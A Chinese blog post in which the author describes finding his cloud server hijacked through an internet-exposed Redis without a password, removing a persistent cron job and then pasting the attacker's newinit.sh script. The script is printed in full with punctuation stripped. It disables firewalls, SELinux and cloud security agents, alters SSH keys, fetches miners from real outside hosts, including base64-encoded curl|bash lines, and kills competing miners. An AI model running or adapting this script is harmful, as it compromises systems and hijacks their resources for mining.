公网的Redis还敢不设置密码？我看你是疯了

　　朋友们，我有一台华为云耀服务器，闲来无事，在上面装了个redis，做一些测试研究，结果被攻击了，这还是头一回遇见，因为以前的环境还是使用内网居多。现象描述
　　因为头一天忙到挺晚的，电脑没有关机，所以第二天准备将电脑清理下，关一关暂时不用的软件，当看到ftp远程工具时，我整个人都精神了，你们看下：
　　整个人一下就精神了，我这个服务器只有一个mysql和一个redis，并且基本没有在使用，怎么就把内存沾满了，cpu还占用了一半的样子，当即我就想到，我可能被攻击了。
　　登录华为云控制台看看
　　第一个想到的就是登录控制台看看，什么时间开始被攻击的？
　　如上图所示大概就是前一晚的二十二点四十多开始的。
　　我比较惊讶的是华为云没有什么告警的机制吗？突然大流量涌入，且服务器内存都满了，它都没有任何的提示信息，还在这里展示无风险：
　　寻找问题
　　当前最重要的就是找找哪里被攻击了，其实我都很清楚，一定是昨天安装的redis了。主要是两个原因：安全组开放了全部ip的入口访问没有设置密码
　　那么我们就去看看redis有什么现象？
　　客户端工具连接一下，发现搜有的key都没啦，变成了如下的内容：
　　既然如此，我们不妨去redis的日志文件看看，它都经历了什么。日志在哪呢？在配置文件当中看看它的路径，结果发现自己没配，还是在默认的位置，devnull：
　　这是什么意思？这就是告诉我，谁让你不配置日志呢？现在想看根本就没有。解决问题
　　既然如此，我们直接解决问题好了。首先想到的是直接杀死redis的进程：〔roothecs402944myredis〕psefgrepredisroot1281010424010：30pts000：00：00grepcolorautoredisroot21392103月02？00：01：19redisserver：6379〔roothecs402944myredis〕kill921392
　　然后你会发现，并没有什么用，无论是cpu还是内存，依然高居不下。我甚至不知道怎么解决，那么就直接重启服务器吧。重启大法好啊，总算是释放了被占用的资源了。
　　但是一段时间后，内存占用又上去了，所以事情必然不是那么简单了。从前面的Redis中的脚本内容可以发现，cron表达式，一定是有定时任务在不断地跑，所以我沿着这条线看看服务器上面的定时任务有哪些：〔roothecs402944〕crontabl30shetcnewinit。shdevnull21
　　只有一个，一定是它，我们先停了它，然后看看它到底是什么内容。〔roothecs402944etc〕rmrfnewinit。shrm：无法删除newinit。sh：不允许的操作
　　我直呼好家伙，不允许删除。
　　使用下面的命令查看这个文件：lsattrnewinit。shiaenewinit。sh
　　这个ia是什么意思？a：AppendOnly，系统只允许在这个文件之后追加数据，不允许任何进程覆盖或截断这个文件。如果目录具有这个属性，系统将只允许在这个目录下建立和修改文件，而不允许删除任何文件。i：Immutable，系统不允许对这个文件进行任何的修改。如果目录具有这个属性，那么任何的进程只能修改目录之下的文件，不允许建立和删除文件。
　　修改这个权限：〔roothecs402944etc〕chattrianewinit。shbash：usrbinchattr：权限不够
　　权限不让修改，使用下面的方法去重新创建一个chattr2好了：〔roothecs402944etc〕cpusrbinchattrusrbinchattr2〔roothecs402944etc〕chmod755usrbinchattr2〔roothecs402944etc〕chattr2iusrbinchattr〔roothecs402944etc〕chmod755usrbinchattr〔roothecs402944etc〕lslausrbinchattrrwxrxrx1rootroot115369月302020usrbinchattr〔roothecs402944etc〕lsattrusrbinchattreusrbinchattr
　　此时使用chattr2修改权限，再次删除定时任务文件，就可以成功了。chattr2ianewinit。sh
　　停止定时任务，居然也没有权限，真绝啊按照下面的操作来，首先修改权限：〔roothecs402944etc〕lsattrvarspoolcronrootiaevarspoolcronroot〔roothecs402944etc〕chattr2iavarspoolcronroot
　　删除定时任务，查看发现没有了〔roothecs402944etc〕crontabr〔roothecs402944etc〕crontablnocrontabforroot
　　重启服务器，总算解决了。定时任务文件干了啥？
　　我直接贴在这了，兄弟们自己看吧，看的是触目惊心啊。
　　！binshulimitn65535chmod777usrbinchattrchmod777binchattriptablesFufwdisablesysctlkernel。nmiwatchdog0echo0procsyskernelnmiwatchdogechokernel。nmiwatchdog0etcsysctl。confchattriaeroot。sshchattriaeroot。sshauthorizedkeyschattriuatmpchattriuavartmprmrftmpaddresrmrftmpwallermrftmpkeysrmrfvarlogsyslogcrondirvarspoolcronUSERcontcat｛crondir｝sshtcatroot。sshauthorizedkeysecho1etczzhsrtdiretczzhsbbdirusrbincurlbbdirausrbincd1ccdirusrbinwgetccdirausrbinwd1mvusrbinwgettntusrbinwd1mvusrbincurltntusrbincd1mvusrbinwget1usrbinwd1mvusrbincurl1usrbincd1mvusrbincurusrbincd1mvusrbincdlusrbincd1mvusrbincdtusrbincd1mvusrbinxgetusrbinwd1mvusrbinwgeusrbinwd1mvusrbinwdlusrbinwd1mvusrbinwdtusrbinwd1mvusrbinwgetusrbinwd1mvusrbincurlusrbincd1ifpsauxgrepi〔a〕thenbbdirhttp：update。aegis。aliyun。comdownloaduninstall。shbashbbdirhttp：update。aegis。aliyun。comdownloadquartzuninstall。shbashbbdirahttp：update。aegis。aliyun。comdownloaduninstall。shbashbbdirahttp：update。aegis。aliyun。comdownloadquartzuninstall。shbashpkillaliyunservicermrfetcinit。dagentwatchusrsbinaliyunservicermrfusrlocalaegissystemctlstopaliyun。servicesystemctldisablealiyun。serviceservicebcmagentstopyumremovebcmagentyaptgetremovebcmagentyelifpsauxgrepi〔y〕thenusrlocalqcloudstargateadminuninstall。shusrlocalqcloudYunJinguninst。shusrlocalqcloudmonitorbaradadminuninstall。shfiif〔fusrlocalcloudmonitorwrapperbincloudmonitor。sh〕；thenusrlocalcloudmonitorwrapperbincloudmonitor。shstopusrlocalcloudmonitorwrapperbincloudmonitor。shremovermrfusrlocalcloudmonitorelseexportARCHamd64if〔fusrlocalcloudmonitorCmsGoAgent。linux｛ARCH｝〕；thenusrlocalcloudmonitorCmsGoAgent。linux｛ARCH｝stopusrlocalcloudmonitorCmsGoAgent。linux｛ARCH｝uninstallrmrfusrlocalcloudmonitorelseechoalicloudmonitornotrunningfifisetenforce0echoSELINUXdisabledetcselinuxconfigserviceapparmorstopsystemctldisableapparmorservicealiyun。servicestopsystemctldisablealiyun。servicepsauxgrepvgrepgrepaegisawk｛print2｝xargsIkill9psauxgrepvgrepgrepYunawk｛print2｝xargsIkill9rmrfusrlocalaegisminerurlhttp：195。242。111。238cleanfdazzhminerurlbackuphttp：en2an。top：8080cleanfdazzhminersize6006304shurlhttp：195。242。111。238cleanfdanewinit。shshurlbackuphttp：en2an。top：8080cleanfdanewinit。shchattrsize8000sleep1if〔x（commandvt）〕；thenmvusrbintusrbinchattrfiif〔x（commandvchattr）〕；thenchattriusrbinip6networkchattriusrbinkswapedchattriusrbinirqbalancedchattriusrbinrctlclichattriusrbinsystemdnetworkchattriusrbinpamdicksecho1usrbinip6networkecho2usrbinkswapedecho3usrbinirqbalancedecho4usrbinrctlcliecho5usrbinsystemdnetworkecho6usrbinpamdickschattriusrbinip6networkchattriusrbinkswapedchattriusrbinirqbalancedchattriusrbinrctlclichattriusrbinsystemdnetworkchattriusrbinpamdicksfisleep1killminerproc（）｛netstatanpgrep185。71。65。238awk｛print7｝awkF〔〕｛print1｝xargsIkill9netstatanpgrep140。82。52。87awk｛print7｝awkF〔〕｛print1｝xargsIkill9netstatanpgrep：443awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：23awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：443awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：143awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：2222awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：3333awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：3389awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：5555awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：6666awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：6665awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：6667awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：7777awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：8444awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：3347awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9netstatanpgrep：10008awk｛print7｝awkF〔〕｛print1｝grepvxargsIkill9ps。originalauxgrepvgrepgrep：13531awk｛print2｝xargsIkill9psauxgrepvgrepgrep：3333awk｛print2｝xargsIkill9psauxgrepvgrepgrep：5555awk｛print2｝xargsIkill9psauxgrepvgrepgrepkworkercawk｛print2｝xargsIkill9psauxgrepvgrepgreplogawk｛print2｝xargsIkill9psauxgrepvgrepgrepsystemtenawk｛print2｝xargsIkill9psauxgrepvgrepgrepnetnsawk｛print2｝xargsIkill9psauxgrepvgrepgrepvoltunedawk｛print2｝xargsIkill9psauxgrepvgrepgrepdarwinawk｛print2｝xargsIkill9psauxgrepvgrepgreptmpdlawk｛print2｝xargsIkill9psauxgrepvgrepgreptmpddgawk｛print2｝xargsIkill9psauxgrepvgrepgreptmppprtawk｛print2｝xargsIkill9psauxgrepvgrepgreptmpppolawk｛print2｝xargsIkill9psauxgrepvgrepgreptmp65ccEawk｛print2｝xargsIkill9psauxgrepvgrepgreptmpjmxawk｛print2｝xargsIkill9psauxgrepvgrepgreptmp2Ne80awk｛print2｝xargsIkill9psauxgrepvgrepgrepIOFoqIgyC0zmf2URawk｛print2｝xargsIkill9psauxgrepvgrepgrep45。76。122。92awk｛print2｝xargsIkill9psauxgrepvgrepgrep51。38。191。178awk｛print2｝xargsIkill9psauxgrepvgrepgrep51。15。56。161awk｛print2｝xargsIkill9psauxgrepvgrepgrep86s。jpgawk｛print2｝xargsIkill9psauxgrepvgrepgrepaGTSGJJpawk｛print2｝xargsIkill9psauxgrepvgrepgrepnMrfmnRaawk｛print2｝xargsIkill9psauxgrepvgrepgrepPuNY5tm2awk｛print2｝xargsIkill9psauxgrepvgrepgrepI0r8Jyytawk｛print2｝xargsIkill9psauxgrepvgrepgrepAgdgACUDawk｛print2｝xargsIkill9psauxgrepvgrepgrepuiZvwxG8awk｛print2｝xargsIkill9psauxgrepvgrepgrephahwNEdBawk｛print2｝xargsIkill9psauxgrepvgrepgrepBtwXn5qHawk｛print2｝xargsIkill9psauxgrepvgrepgrep3XEzey2Tawk｛print2｝xargsIkill9psauxgrepvgrepgrept2tKrCSZawk｛print2｝xargsIkill9psauxgrepvgrepgrepHD7fcBggawk｛print2｝xargsIkill9psauxgrepvgrepgrepzXcDajSsawk｛print2｝xargsIkill9psauxgrepvgrepgrep3lmigMoawk｛print2｝xargsIkill9psauxgrepvgrepgrepAkMK4A2awk｛print2｝xargsIkill9psauxgrepvgrepgrepAJ2AkKeawk｛print2｝xargsIkill9psauxgrepvgrepgrepHiPxCJRSawk｛print2｝xargsIkill9psauxgrepvgrepgrephttp0xCC030awk｛print2｝xargsIkill9psauxgrepvgrepgrephttp0xCC031awk｛print2｝xargsIkill9psauxgrepvgrepgrephttp0xCC032awk｛print2｝xargsIkill9psauxgrepvgrepgrephttp0xCC033awk｛print2｝xargsIkill9psauxgrepvgrepgrepC4iLM4Lawk｛print2｝xargsIkill9psauxgrepvgrepgrepaziplcr72qjhzvinawk｛print2｝xargsIkill9psauxgrepvgrepawk｛if（substr（11，1，2）。substr（12，1，2）。）print2｝xargsIkill9psauxgrepvgrepgrepbootvmlinuzawk｛print2｝xargsIkill9psauxgrepvgrepgrepi4b503a52cc5awk｛print2｝xargsIkill9psauxgrepvgrepgrepdgqtrcst23rtdi3ldqk322j2awk｛print2｝xargsIkill9psauxgrepvgrepgrep2g0uv7npuhrlatdawk｛print2｝xargsIkill9psauxgrepvgrepgrepnqschedulerawk｛print2｝xargsIkill9psauxgrepvgrepgreprkebbwgqpl4npmmawk｛print2｝xargsIkill9psauxgrepvgrepgrepvauxgrep〕awk310。0｛print2｝xargsIkill9psauxgrepvgrepgrep2fhtu70teuhtoh78jc5sawk｛print2｝xargsIkill9psauxgrepvgrepgrep0kwti6ut420tawk｛print2｝xargsIkill9psauxgrepvgrepgrep44ct7udt0patws3agkdfqnjmawk｛print2｝xargsIkill9psauxgrepvgrepgrepvgrepvgrepvawklength（11）19｛print2｝xargsIkill9psauxgrepvgrepgrep〔awk｛print2｝xargsIkill9psauxgrepvgrepgreprsyncawk｛print2｝xargsIkill9psauxgrepvgrepgrepwatchd0gawk｛print2｝xargsIkill9psauxgrepvgrepegrepwnTKYg2t3ikqW3xT。2ddgawk｛print2｝xargsIkill9psauxgrepvgrepgrep158。69。133。18：8220awk｛print2｝xargsIkill9psauxgrepvgrepgreptmpjavaawk｛print2｝xargsIkill9psauxgrepvgrepgrepgitee。comawk｛print2｝xargsIkill9psauxgrepvgrepgreptmpjavaawk｛print2｝xargsIkill9psauxgrepvgrepgrep104。248。4。162awk｛print2｝xargsIkill9psauxgrepvgrepgrep89。35。39。78awk｛print2｝xargsIkill9psauxgrepvgrepgrepdevshmz3。shawk｛print2｝xargsIkill9psauxgrepvgrepgrepkthrotldsawk｛print2｝xargsIkill9psauxgrepvgrepgrepksoftirqdsawk｛print2｝xargsIkill9psauxgrepvgrepgrepnetdnsawk｛print2｝xargsIkill9psauxgrepvgrepgrepwatchdogsawk｛print2｝xargsIkill9psauxgrepvgrepgrepkdevtmpfsiawk｛print2｝xargsIkill9psauxgrepvgrepgrepkinsingawk｛print2｝xargsIkill9psauxgrepvgrepgrepredis2awk｛print2｝xargsIkill9psauxgrepvgrepgrepvauxgreppsawk｛print2｝xargsIkill9psauxgrepvgrepgrepsyncsuperscutc915xargsIkill9psauxgrepvgrepgrepcpusetcutc915xargsIkill9psauxgrepvgrepgrepvauxgrepx〕awk｛print2｝xargsIkill9psauxgrepvgrepgrepvauxgrepsh〕awk｛print2｝xargsIkill9psauxgrepvgrepgrepvauxgrep〔〕awk｛print2｝xargsIkill9psauxgrepvgrepgreptmpl。shawk｛print2｝xargsIkill9psauxgrepvgrepgreptmpzmcatawk｛print2｝xargsIkill9psauxgrepvgrepgrephahwNEdBawk｛print2｝xargsIkill9psauxgrepvgrepgrepCnzFVPLFawk｛print2｝xargsIkill9psauxgrepvgrepgrepCvKzzZLsawk｛print2｝xargsIkill9psauxgrepvgrepgrepaziplcr72qjhzvinawk｛print2｝xargsIkill9psauxgrepvgrepgreptmpudevdawk｛print2｝xargsIkill9psauxgrepvgrepgrepKCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCAawk｛print2｝xargsIkill9psauxgrepvgrepgrepY3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAoawk｛print2｝xargsIkill9psauxgrepvgrepgrepsustseawk｛print2｝xargsIkill9psauxgrepvgrepgrepsustse3awk｛print2｝xargsIkill9psauxgrepvgrepgrepmr。shgrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgrepmr。shgrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgrep2mr。shgrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgrep2mr。shgrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgrepcr5。shgrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgrepcr5。shgrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgreplogo9。jpggrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgreplogo9。jpggrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgrepj2。confawk｛print2｝xargsIkill9psauxgrepvgrepgreplukcpugrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgreplukcpugrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgrepficovgrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgrepficovgrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgrephe。shgrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgrephe。shgrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgrepminer。shgrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgrepminer。shgrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgrepnullcrewgrepwgetawk｛print2｝xargsIkill9psauxgrepvgrepgrepnullcrewgrepcurlawk｛print2｝xargsIkill9psauxgrepvgrepgrep107。174。47。156awk｛print2｝xargsIkill9psauxgrepvgrepgrep83。220。169。247awk｛print2｝xargsIkill9psauxgrepvgrepgrep51。38。203。146awk｛print2｝xargsIkill9psauxgrepvgrepgrep144。217。45。45awk｛print2｝xargsIkill9psauxgrepvgrepgrep107。174。47。181awk｛print2｝xargsIkill9psauxgrepvgrepgrep176。31。6。16awk｛print2｝xargsIkill9psauxfgrepvgrepgrepmine。moneropool。comawk｛print2｝xargsIkill9psauxfgrepvgrepgreppool。t00ls。ruawk｛print2｝xargsIkill9psauxfgrepvgrepgrepxmr。cryptopool。fr：8080awk｛print2｝xargsIkill9psauxfgrepvgrepgrepxmr。cryptopool。fr：3333awk｛print2｝xargsIkill9psauxfgrepvgrepgrepzhuabcnyahoo。comawk｛print2｝xargsIkill9psauxfgrepvgrepgrepmonerohash。comawk｛print2｝xargsIkill9psauxfgrepvgrepgreptmpa7b104c270awk｛print2｝xargsIkill9psauxfgrepvgrepgrepxmr。cryptopool。fr：6666awk｛print2｝xargsIkill9psauxfgrepvgrepgrepxmr。cryptopool。fr：7777awk｛print2｝xargsIkill9psauxfgrepvgrepgrepxmr。cryptopool。fr：443awk｛print2｝xargsIkill9psauxfgrepvgrepgrepstratum。f2pool。com：8888awk｛print2｝xargsIkill9psauxfgrepvgrepgrepxmrpool。euawk｛print2｝xargsIkill9psauxfgrepvgrepgrepkieuanilam。meawk｛print2｝xargsIkill9psauxfgrepxiaoyaoawk｛print2｝xargsIkill9psauxfgrepxiaoxueawk｛print2｝xargsIkill9netstatantpgrep46。243。253。15grepESTABLISHEDSYNSENTawk｛print7｝sedes。gxargsIkill9netstatantpgrep176。31。6。16grepESTABLISHEDSYNSENTawk｛print7｝sedes。gxargsIkill9pgrepfL2Jpbi9iYXNxargsIkill9pgrepfxzpauectgrxargsIkill9pgrepfslxfbkmxtdxargsIkill9pgrepfmixtapexargsIkill9pgrepfaddnjxargsIkill9pgrepf200。68。17。196xargsIkill9pgrepfIyEvYmluL3NoCgpzUGxargsIkill9pgrepfKHdnZXQgLXFPLSBodHRwxargsIkill9pgrepfFEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3xargsIkill9pgrepfY3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAoxargsIkill9pgrepfmwyumwdbpq。confxargsIkill9pgrepfhonvbsasbf。confxargsIkill9pgrepfmqdsflm。cfxargsIkill9pgrepflower。shxargsIkill9pgrepf。pppxargsIkill9pgrepfcryptonightxargsIkill9pgrepf。seervceaessxargsIkill9pgrepf。servceaessxargsIkill9pgrepf。servceasxargsIkill9pgrepf。servcesaxargsIkill9pgrepf。vspxargsIkill9pgrepf。jvsxargsIkill9pgrepf。pvvxargsIkill9pgrepf。vppxargsIkill9pgrepf。pcesxargsIkill9pgrepf。rspcexargsIkill9pgrepf。havegedxargsIkill9pgrepf。jibaxargsIkill9pgrepf。watchbogxargsIkill9pgrepf。A7mA5gbxargsIkill9pgrepfkacpisvcxargsIkill9pgrepfkswapsvcxargsIkill9pgrepfkauditdsvcxargsIkill9pgrepfkpsmousedsvcxargsIkill9pgrepfkseriodsvcxargsIkill9pgrepfkthreaddsvcxargsIkill9pgrepfksoftirqdsvcxargsIkill9pgrepfkintegritydsvcxargsIkill9pgrepfjawaxargsIkill9pgrepforacle。jpgxargsIkill9pgrepf45cToD1FzkjAxHRBhYKKLg5utMGENxargsIkill9pgrepf188。209。49。54xargsIkill9pgrepf181。214。87。241xargsIkill9pgrepfetnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQxargsIkill9pgrepf47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2LbjxargsIkill9pgrepfetnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyKxargsIkill9pgrepfservimxargsIkill9pgrepfkblockdsvcxargsIkill9pgrepfnativesvcxargsIkill9pgrepfynnxargsIkill9pgrepf65ccEJ7xargsIkill9pgrepfjmxxxargsIkill9pgrepf2Ne80nAxargsIkill9pgrepfsysstatsxargsIkill9pgrepfsystemxlvxargsIkill9pgrepfwatchbogxargsIkill9pgrepfOIcJi1mxargsIkill9pkillfbiosetjenkinspkillfLoopbackpkillfapacehapkillfcryptonightpkillfmixnerdxpkillfperformedlpkillfJnKihGjnpkillfirqba2anc1pkillfirqba5xnc1pkillfirqbnc1pkillfir29xc1pkillfconnspkillfirqbalancepkillfcryptopoolpkillfXJnRjpkillfmgwslpkillfpythnopkillfjweripkillflx26pkillfNXLAipkillfBI5zjpkillfaskdljlqwpkillfminerdpkillfminergatepkillfGuard。shpkillfysaydhpkillfbonnspkillfdonnspkillfkxjdpkillfDuck。shpkillfbonn。shpkillfconn。shpkillfkworker34pkillfkw。shpkillfpro。shpkillfpolkitdpkillfacpidpkillficb5opkillfnopxipkillfirqbalanc1pkillfminerdpkillfi586pkillfgddrpkillfmstxmrpkillfddg。2011pkillfwnTKYgpkillfdeamonpkillfdiskgeniuspkillfsourplumpkillfpolkitdpkillfnanoWatchpkillfzigwpkillfdevtoolpkillfdevtoolspkillfsystemctIpkillfwatchbogpkillfcryptonightpkillfsustespkillfxmrigpkillfxmrigcpupkillf121。42。151。137pkillfinit12。cfgpkillfnginxkpkillftmpwc。confzpkillfxmrignotlspkillfxmrstakpkillfsuppoiepkillfzer0day。rupkillfdbusdaemonsystempkillfnullcrewpkillfsystemctIpkillfkworkerdspkillfinit10。cfgpkillfwl。confpkillfcrond64pkillfsustsepkillfvmlinuzpkillfexinpkillfapachiiipkillfcryptopkillftntrechtpkillfxrpkillfsvcupdatepkill9cnrigrmrfusrbinconfig。jsonrmrfusrbinexinrmrftmpwc。confrmrftmplogrotrmrftmpapachiiirmrftmpsustsermrftmpphprmrftmpp2。confrmrftmppprtrmrftmpppolrmrftmpjavaxconfig。shrmrftmpjavaxsshd2rmrftmp。profilermrftmp1。sormrftmpkworkerdsrmrftmpkworkerds3rmrftmpkworkerdssxrmrftmpxd。jsonrmrftmpsyslogdrmrftmpsyslogdbrmrftmp65ccEJ7rmrftmpjmxxrmrftmp2Ne80nArmrftmpdlrmrftmpddgrmrftmpsystemxlvrmrftmpsystemctIrmrftmp。abcrmrftmposw。hbrmrftmp。tmplevermrftmp。tmpnewzzrmrftmp。javarmrftmp。omedrmrftmp。tmpcrmrftmp。tmplevermrftmp。tmpnewzzrmrftmpgates。lodrmrftmpconf。nrmrftmpdevtoolrmrftmpdevtoolsrmrftmpfsrmrftmp。rodrmrftmp。rod。tgzrmrftmp。rod。tgz。1rmrftmp。rod。tgz。2rmrftmp。merrmrftmp。mer。tgzrmrftmp。mer。tgz。1rmrftmp。hodrmrftmp。hod。tgzrmrftmp。hod。tgz。1rmrftmp84OnmcermrftmpC4iLM4Lrmrftmplilpiprmrftmp3lmigMormrftmpam8jmBPrmrftmptmp。txtrmrftmpbabyrmrftmp。librmrftmpsystemdrmrftmplib。tar。gzrmrftmpbabyrmrftmpjavarmrftmpj2。confrmrftmp。mynews1234rmrftmpa3e12drmrftmp。ptrmrftmp。pt。tgzrmrftmp。pt。tgz。1rmrftmpgormrftmpjavarmrftmpj2。confrmrftmp。tmpnewasssrmrftmpjavarmrftmpgo。shrmrftmpgo2。shrmrftmpkhugepagedsrmrftmp。censusqqqqqqqqqrmrftmp。kerberodsrmrftmpkerberodsrmrftmpseasamermrftmptouchrmrftmp。prmrftmpruntime2。shrmrftmpruntime。shrmrfdevshmz3。shrmrfdevshmz2。shrmrfdevshm。scrrmrfdevshm。kerberodsrmfetcld。so。preloadrmrfetcsystemdsystemsystemde。servicermfetcld。so。preloadrmfusrlocalliblibioset。sochattrietcld。so。preloadrmfetcld。so。preloadsystemctlstopmonerooceanminer。servicesystemctlstopsystemde。servicermfusrlocalliblibioset。sormrftmpwatchdogsrmrfetccron。dtomcatrmrfetcrc。dinit。dwatchdogsrmrfusrsbinwatchdogsrmftmpkthrotldsrmfetcrc。dinit。dkthrotldsrmrftmp。sysbabyuuuuu12rmrftmplogo9。jpgrmrftmpminer。shrmrftmpnullcrewrmrftmpprocrmrftmp2。shrmoptatlassianconfluencebin1。shrmoptatlassianconfluencebin1。sh。1rmoptatlassianconfluencebin1。sh。2rmoptatlassianconfluencebin1。sh。3rmoptatlassianconfluencebin3。shrmoptatlassianconfluencebin3。sh。1rmoptatlassianconfluencebin3。sh。2rmoptatlassianconfluencebin3。sh。3rmrfvartmpf41rmrfvartmp2。shrmrfvartmpconfig。jsonrmrfvartmpxmrigrmrfvartmp1。sormrfvartmpkworkerds3rmrfvartmpkworkerdssxrmrfvartmpkworkerdsrmrfvartmpwc。confrmrfvartmpnadezhda。rmrfvartmpnadezhda。armrmrfvartmpnadezhda。arm。1rmrfvartmpnadezhda。arm。2rmrfvartmpnadezhda。x8664rmrfvartmpnadezhda。x8664。1rmrfvartmpnadezhda。x8664。2rmrfvartmpsustse3rmrfvartmpsustsermrfvartmpmonerooceanrmrfvartmpdevtoolrmrfvartmpdevtoolsrmrfvartmpplay。shrmrfvartmpsystemctIrmrfvartmp。javarmrfvartmp1。shrmrfvartmpconf。nrmrvartmplibrmrvartmp。librmrfoptsystemdservice。shrmrfopt。systemdservice。shrmrfroot。systemdservice。shrmrfusrshare〔crypto〕chattrRiausrbinTeamTNTchattrRiausrbinwatchdogdrmrfusrbinwatchdogdservicecryptostopsystemctlstopcrypto。servicesystemctlstopwatchdogdservicewatchdogdstoprmfrusrbinTeamTNTchattriautmplokchmod700tmplokrmrftmploksleep1chattritmpkdevtmpfsiecho1tmpkdevtmpfsichattritmpkdevtmpfsisleep1chattriusrlibsystemdsystemdupdatedailyecho1usrlibsystemdsystemdupdatedailychattriusrlibsystemdsystemdupdatedailytmpsvcupdatetmpsvcguardetcsvcupdateetcsvcguardetccron。dailylogrotateetccron。hourly0anacronetcrc。drc。localyuminstallydocker。ioaptgetinstalldocker。dockerpsgreppocosowawk｛print1｝xargsIdockerkilldockerpsgrepgakeawsawk｛print1｝xargsIdockerkilldockerpsgrepazuluawk｛print1｝xargsIdockerkilldockerpsgrepautoawk｛print1｝xargsIdockerkilldockerpsgrepxmrawk｛print1｝xargsIdockerkilldockerpsgrepmineawk｛print1｝xargsIdockerkilldockerpsgrepslowhttpawk｛print1｝xargsIdockerkilldockerpsgrepbash。shellawk｛print1｝xargsIdockerkilldockerpsgrepentrypoint。shawk｛print1｝xargsIdockerkilldockerpsgrepvarsbinbashawk｛print1｝xargsIdockerkilldockerimagesagreppocosowawk｛print3｝xargsIdockerrmifdockerimagesagrepgakeawsawk｛print3｝xargsIdockerrmifdockerimagesagrepbusterslimawk｛print3｝xargsIdockerrmifdockerimagesagrephelloawk｛print3｝xargsIdockerrmifdockerimagesagrepazuluawk｛print3｝xargsIdockerrmifdockerimagesagrepregistryawk｛print3｝xargsIdockerrmifdockerimagesagrepxmrawk｛print3｝xargsIdockerrmifdockerimagesagrepautoawk｛print3｝xargsIdockerrmifdockerimagesagrepmineawk｛print3｝xargsIdockerrmifdockerimagesagrepmoneroawk｛print3｝xargsIdockerrmifdockerimagesagrepslowhttpawk｛print3｝xargsIdockerrmifechoSELINUXdisabledetcselinuxconfigserviceapparmorstopsystemctldisableapparmorservicealiyun。servicestopsystemctldisablealiyun。servicepsauxgrepvgrepgrepaegisawk｛print2｝xargsIkill9psauxgrepvgrepgrepYunawk｛print2｝xargsIkill9rmrfusrlocalaegischattrRiavarspoolcronchattriaetccrontabchattrRiaetccron。dchattrRiavarspoolcroncrontabscrontabrrmrfvarspoolcronrmrfetccron。drmrfvarspoolcroncrontabsrmrfetccrontab｝killminerprockillsusproc（）｛psaxfopidwhilereadprociddolslprocprocidexegreptmpif〔？ne1〕thencatprocprocidcmdlinegrepaEzzhif〔？ne0〕thenkill9procidelseechodontkillfifidonepsaxfopidcpuawk｛if（240。0）print1｝whilereadprociddocatprocprocidcmdlinegrepaEzzhif〔？ne0〕thenkill9procidelseechodontkillfidone｝killsusprocnameserver（）｛grepq1。1。1。1etcresolv。confchattrietcresolv。conf2devnull1echonameserver1。1。1。1etcresolv。chattrietcresolv。conf2devnull1devnull｝nameserverfuckyou（）｛（dockerrm（dockerpsgrepvgrepgreprootstartup。shawk｛print1｝）f2devnull1devnull）（dockerrm（dockerpsgrepvgrepgrepwidoc26117xmrawk｛print1｝）f2devnull1devnull）（dockerrm（dockerpsgrepvgrepgrepzbrtgwlxzawk｛print1｝）f2devnull1devnull）（dockerrm（dockerpsgrepvgrepgreptailfdevnullawk｛print1｝）f2devnull1devnull）（dockerrm（dockerpsgrepvgrepgrepusrbinsupervisorawk｛print1｝）f2devnull1devnull）（dockerrm（dockerpsgrepvgrepgrepappBitLockerServiawk｛print1｝）f2devnull1devnull）rmftmpmonerooceanxmrig2devnull1devnullpkillftmpmonerooceanxmrig2devnull1devnullrmfrtmpmoneroocean2devnull1devnullkillall9xmrig2devnull1devnullif〔froot。tmpxmrig〕；thenchattriRroot。tmp2devnull1devnulltmpxmrigfileroot。tmpminer。shrmftmpxmrigfile2devnull1devnullpkillftmpxmrigfile2devnull1devnullkill（pidoftmpxmrigfile）2devnull1devnullchmodxtmpxmrigfile2devnull1devnullchattritmpxmrigfile2devnull1devnullpkillftmpxmrigfile2devnull1devnullkill（pidoftmpxmrigfile）2devnull1devnullkillalltmpxmrigfile2devnull1devnullchmodxroot。tmpxmrig2devnull1devnullrmfroot。tmpxmrig2devnull1devnullchattriroot。tmpxmrig2devnull1devnullpkillfroot。tmpxmrig2devnull1devnullpsaxgrepxmrig2devnull1devnullfiKINSING1（psaxgrepvgrepgrepvartmpkinsing）if〔！zK